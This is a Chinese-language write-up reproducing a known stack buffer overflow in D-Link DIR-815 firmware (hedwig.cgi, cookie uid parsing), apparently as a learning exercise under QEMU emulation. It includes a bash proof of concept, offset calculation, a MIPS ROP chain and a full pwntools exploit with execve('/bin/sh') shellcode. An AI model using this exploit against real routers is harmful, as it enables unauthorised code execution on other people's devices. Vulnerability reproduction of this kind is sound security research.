D-Link-DIR-815栈溢出漏洞复现
环境搭建
binwalk安装
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| sudo git clone https://github.com/devttys0/binwalk.git cd binwalk sudo python3 setup.py install # Install standard extraction utilities(必选) sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools # Install sasquatch to extract non-standard SquashFS images(必选) sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev sudo git clone https://github.com/devttys0/sasquatch (cd sasquatch && sudo CFLAGS=-fcommon ./build.sh) # Install jefferson to extract JFFS2 file systems(可选) sudo pip install cstruct git clone https://github.com/sviehb/jefferson (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems(可选) #sudo apt-get install liblzo2-dev python-lzo #git clone https://github.com/jrspruitt/ubi_reader #(cd ubi_reader && sudo python setup.py install) //安装依赖 $ sudo apt-get install liblzo2-dev $ sudo pip install python-lzo //安装ubi_reader $ sudo pip install ubi_reader
# Install yaffshiv to extract YAFFS file systems(可选) git clone https://github.com/devttys0/yaffshiv (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files(可选) wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv sudo cp bin/unstuff /usr/local/bin/
|
在安装cramfsprogs时发生错误
原因是这个包在Ubuntu18时就被删除了,所以得手动安装,[下载]( 1.1-6build4 : cramfsprogs : amd64 : Xenial (16.04) : Ubuntu (launchpad.net) )
sudo dpkg -i cramfsprogs_1.1-6build4_amd64.deb
在编译sasquatch时出现
使用如下命令解决
1 2
| sudo wget https://github.com/devttys0/sasquatch/pull/51.patch && sudo patch -p1 <51.patch sudo ./build.sh
|
安装gdb-multiarch
sudo apt-get install gdb-multiarch
漏洞分析
从D-Link官方网站下载固件,或ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.zip
,解压缩得到固件DIR-815 FW 1.01b14_1.01b14.bin
1
| binwalk -e DIR-815 FW 1.01b14_1.01b14.bin
|
已知漏洞在/htdocs/web/hedwig.cgi
中,可以看见新版本的binwalk会将软链接指向null,实际是链接到/htdocs/cgibin
上,也就是说漏洞存在于cgibin中
如果想不改符号链接的话考虑低版本的binwalk。
将cgibin放入ida中分析,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| int __fastcall sess_get_uid(_DWORD *a1) { _DWORD *v2; // $s2 char *cookie_path; // $v0 _DWORD *v4; // $s3 char *v5; // $s4 int v6; // $s1 int v7; // $s0 char *string; // $v0 int result; // $v0
v2 = sobj_new(); // 建堆存字符串 v4 = sobj_new(); cookie_path = getenv("HTTP_COOKIE"); // 获得cookie环境变量 if ( !v2 ) goto LABEL_27; if ( !v4 ) goto LABEL_27; v5 = cookie_path; if ( !cookie_path ) goto LABEL_27; v6 = 0; while ( 1 ) { v7 = *v5; // 变量第一个字符 if ( !*v5 ) break; if ( v6 == 1 ) goto LABEL_11; if ( v6 < 2 ) { if ( v7 == ' ' ) // 遇到空格跳过 goto LABEL_18; sobj_free(v2); sobj_free(v4); LABEL_11: if ( v7 == ';' ) { v6 = 0; } else { v6 = 2; if ( v7 != '=' ) { sobj_add_char(v2, v7); // 不是‘ ’不是‘;’不是‘=’将cookie_path复制到v2中,直到遇到这三个字符中的一个为止 v6 = 1; } } goto LABEL_18; } if ( v6 == 2 ) { if ( v7 == ';' ) { v6 = 3; goto LABEL_18; } sobj_add_char(v4, *v5++); // 将=后赋值给v4,没考虑赋值长度 } else { v6 = 0; if ( !sobj_strcmp((int)v2, "uid") ) goto LABEL_21; LABEL_18: ++v5; } } if ( !sobj_strcmp((int)v2, "uid") ) { LABEL_21: string = sobj_get_string((int)v4); goto LABEL_22; } LABEL_27: string = getenv("REMOTE_ADDR"); LABEL_22: result = sobj_add_string(a1, string); // 对v8的长度没有进行判断 if ( v2 ) result = sobj_del(v2); if ( v4 ) return sobj_del(v4); return result; }
|
编写POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #!/bin/bash # sudo ./run.sh 'uid=1234' `cyclic 2000` INPUT="$1" TEST="uid="+"$2"
LEN=$(echo -n $INPUT | wc -c)#wc -c 统计字数 PORT="1234" #echo "$UID" if [ "$LEN" = "0" ] || [ "$INPUT" = "-h" ] || [ "$UID" != "0" ] then echo -e "\nusage: sudo $0\n" echo `whoami` exit 1 fi cp $(which qemu-mipsel-static) ./qemu
#echo "$(pwd)" echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH="$LEN" -E CONTENT_TYPE="application/x-www-form-urlencodede" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT htdocs/web/hedwig.cgi 2>/dev/null #路径需要根据自己虚拟机环境编写
echo "run ok" rm -f ./qemu
|
注意事项:
一定要加#!/bin/bash,以确定是用bash执行的。我虚拟机命令行用的是dash不是bash,这俩在编写脚本时有一定的差别。
run.sh脚本应放在$PATH/squashfs-root/下。
由于是qemu的参数,因此在编写启动命令时要注意时hedwig.cgi,不能是cgibin,若使用的是新版的binwalk,则需要让hedwig.cgi指向cgibin,否则调试时加载不了共享库。
使用如下命令进行调试:
1 2 3
| gdb-multiarch htdocs/web/hedwig.cgi#直接安装gdb-multiarch set architecture mips target remote localhost:1234
|
在函数返回时,程序报错,可见我们的垃圾数据已覆盖了返回地址
根据《揭秘家用路由器0day漏洞挖掘技术》一书中,认为程序中有两处sprintf,因此还不能确定是哪一处sprintf造成的溢出,根据这次溢出,产生的结果如下图所示,可以发现程序返回了一些信息。
根据这个信息,我们发现该文件**/var/tmp/temp.xml**的存在决定着是哪个sprintf最终造成了溢出。
因此在本地(在squashfs-root目录下)创建该文件,再次调试,发现返回地址依然被垃圾数据覆盖,不同的是这次程序没有返回任何信息。根据书上利用真实环境测得,其路由器是存在**/var/tmp/temp.xml**文件的,因此实际是由第二个sprintf函数触发的溢出。
漏洞利用
现在我们先确定缓冲区的大小,$a0~$a3是函数的四个参数,因此我们只需要查看寄存器a0中的地址即可,即0x42e008,但经过调试发现0x42e008处并没有找到我们构造的垃圾数据,但发现下一行汇编代码move $a0,$s0
更新了寄存器a0,因此猜测更新后的$a0才是正确的地址。因笔者刚入门(还不一定)暂时还不太清楚原因,等后续多积累点经验再来解决
查看0x407ff088,确实找到了我们的垃圾数据
有了起始地址,再根据mips的函数调用规则,**若子函数如果为非叶子函数,则子函数的返回地址会先存入栈内 **,因此,在函数返回时一定会再次读取$ra的值,如下图
可以发现返回地址保存在$sp+0x4e4处即0x407fefc8+0x4e4=0x407ff4ac处,即可确定出缓冲区大小,注意需要去除“/htdocs/webinc/fatlady.php\nprefix=/runtime/session/+”这些数据的长度。计算得1012。
注:这里的大小会根据环境变化而变化,这里仅适用于在该目录下,当不使用chroot时,其大小会发生变化,因此为方便快速计算,可使用cyclic -l 计算
确定了输入数据的大小后,即可开始构造ROP利用ida插件mipsrop,书上的这个插件的链接太老了,于是找了好哥哥darry师傅帮忙,把这个插件弄到手了,但一直报错。
网上找到解决办法是输入如下代码,即可解决。
1 2
| import mipsrop mipsrop = mipsrop.MIPSROPFinder()
|
已知我们可以控制$ra,$fp,$s0~$s7,现在我们只需要将$ra的地址覆盖为system地址,将$a0覆盖为/bin/sh的地址即可。利用mipsrop插件寻找赋值$a0寄存器的gadget,从libc.so.0中搜索。
这里也有一个疑问,使用ldd查看cgibin文件时说该文件并不是一个动态可执行文件,实际上它确实使用了共享库,笔者猜测该文件调用的共享库并不是从本机的/lib/中调用的因此可能ldd没有检测到。
找到了gadget,但是在libc中因此需要确定libc的基地址,vmmap查看libc基地址,没有发现libc.so.0,笔者本以为是因为启动命令qemu-mipsel-static的原因,于是准备使用qemu-mipsel命令再试一次。
但发现在ubuntu22上并没有命令qemu-mipsel,上网搜资料搜了挺多也没有搜到原因,怀疑是没有下载完整,于是尝试又下了几个关于qemu的包,无果。最后询问了gpt才有了解决办法,如下:
1 2
| sudo apt install qemu-user-static sudo update-binfmts --enable qemu-mipsel
|
使用了qemu-mipsel后发现也没用,再次去请教darry👴,知道了qemu中使用vmmap是看不到libc_base的,因此需要需要去获得libc中函数的真实地址,再根据偏移去计算libc_base,利用延迟绑定机制,找到函数真实地址,如下图
再根据vmmap找到libc_base,即libc_base=0x3ff38000
得到libc_base后就可以利用rop拿shell了,rop写在了下面的exp中。
但在执行exp的时候发现打不通,发现卡在了这句汇编代码上,查找资料后发现是因为system函数调用了fork()而用户模式下是不支持多线程的因此打不通。
因此笔者这里换了一种方法,因为没有开NX保护,因此栈是可执行的,将shellcode直接插入栈中,利用gadget将$sp的值传入$s0中再跳转即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context.log_level='debug' context.arch='mips' libc=ELF('./lib/libc.so.0') ''' .text:000186B8 21 20 20 02 move $a0, $s1 .text:000186BC 21 C8 40 02 move $t9, $s2 .text:000186C0 09 F8 20 03 jalr $t9 ''' ''' .text:0002D194 01 00 10 26 addiu $s0, 1 .text:0002D194 .text:0002D198 .text:0002D198 loc_2D198: .text:0002D198 21 C8 A0 02 move $t9, $s5 .text:0002D19C 09 F8 20 03 jalr $t9 ''' ''' .text:000159D8 21 C8 00 02 move $t9, $s0 .text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy ''' #shellcode=b'\xff\xff\x10\x04\xab\x0f\x02\x24\x55\xf0\x46\x20\x66\x06\xff\x23\xc2\xf9\xec\x23\x66\x06\xbd\x23\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf\x9a\xf9\xbd\x23\x21\x20\x80\x01\x21\x28\xa0\x03\xcc\xcd\x44\x03bin/sh'
#shellcode=b"\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c" shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''') libc_base=0x3ff38000 len1=10 #payload=b'uid=1234'+b'a'*(1039-0x24)+p32(libc_base+libc.symbols['system']-1)+p32(libc_base+next(libc.search(b"/bin/sh")))+p32(libc_base+0x159d8)+b'aaaa'+b'aaaa'+p32(libc_base+0x186b8)+b'aaaaaaaaaaaa'+p32(libc_base+0x2d194)
''' .text:000159D8 21 C8 00 02 move $t9, $s0 .text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy ''' ''' .text:00047D5C 20 00 B0 27 addiu $s0, $sp, 0x100+var_E0 .text:00047D60 00 00 64 8E lw $a0, 0($s3) .text:00047D64 21 28 20 02 move $a1, $s1 .text:00047D68 21 30 E0 02 move $a2, $s7 .text:00047D6C 21 C8 80 02 move $t9, $s4 .text:00047D70 09 F8 20 03 jalr $t9 '''
payload=b'uid=1234'+b'a'*(63-8)+b'a'*len(shellcode)+b'a'*(1039-0x24-len(shellcode)-63+8)+p32(0x10101010)+b'aaaa'*2+p32(libc_base+0x159d8)*3+p32(libc_base+0x159d8)+b'aaaa'+p32(libc_base+0x42120)+p32(libc_base+0x47d5c) payload.ljust(0x437,b'a') payload+=b'a'*0x20+shellcode io=process(argv=['./qemu-mipsel-static','-g','1234','-L','./','-E','CONTENT_LENGTH={}'.format(len1),'-E','CONTENT_TYPE=application/x-www-form-urlencodede','-E','SCRIPT_NAME=common','-E','REQUEST_METHOD=POST','-E', 'HTTP_COOKIE='+payload.decode("unicode-escape"),'-E', 'REQUEST_URI=/hedwig.cgi','-E','REMOTE_ADDR=192.168.1.1','htdocs/web/hedwig.cgi'])
#pause() io.interactive()
|
注:这里在调试的时候需要将共享库放到/lib目录下
参考
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
《揭秘家用路由器0day漏洞挖掘技术》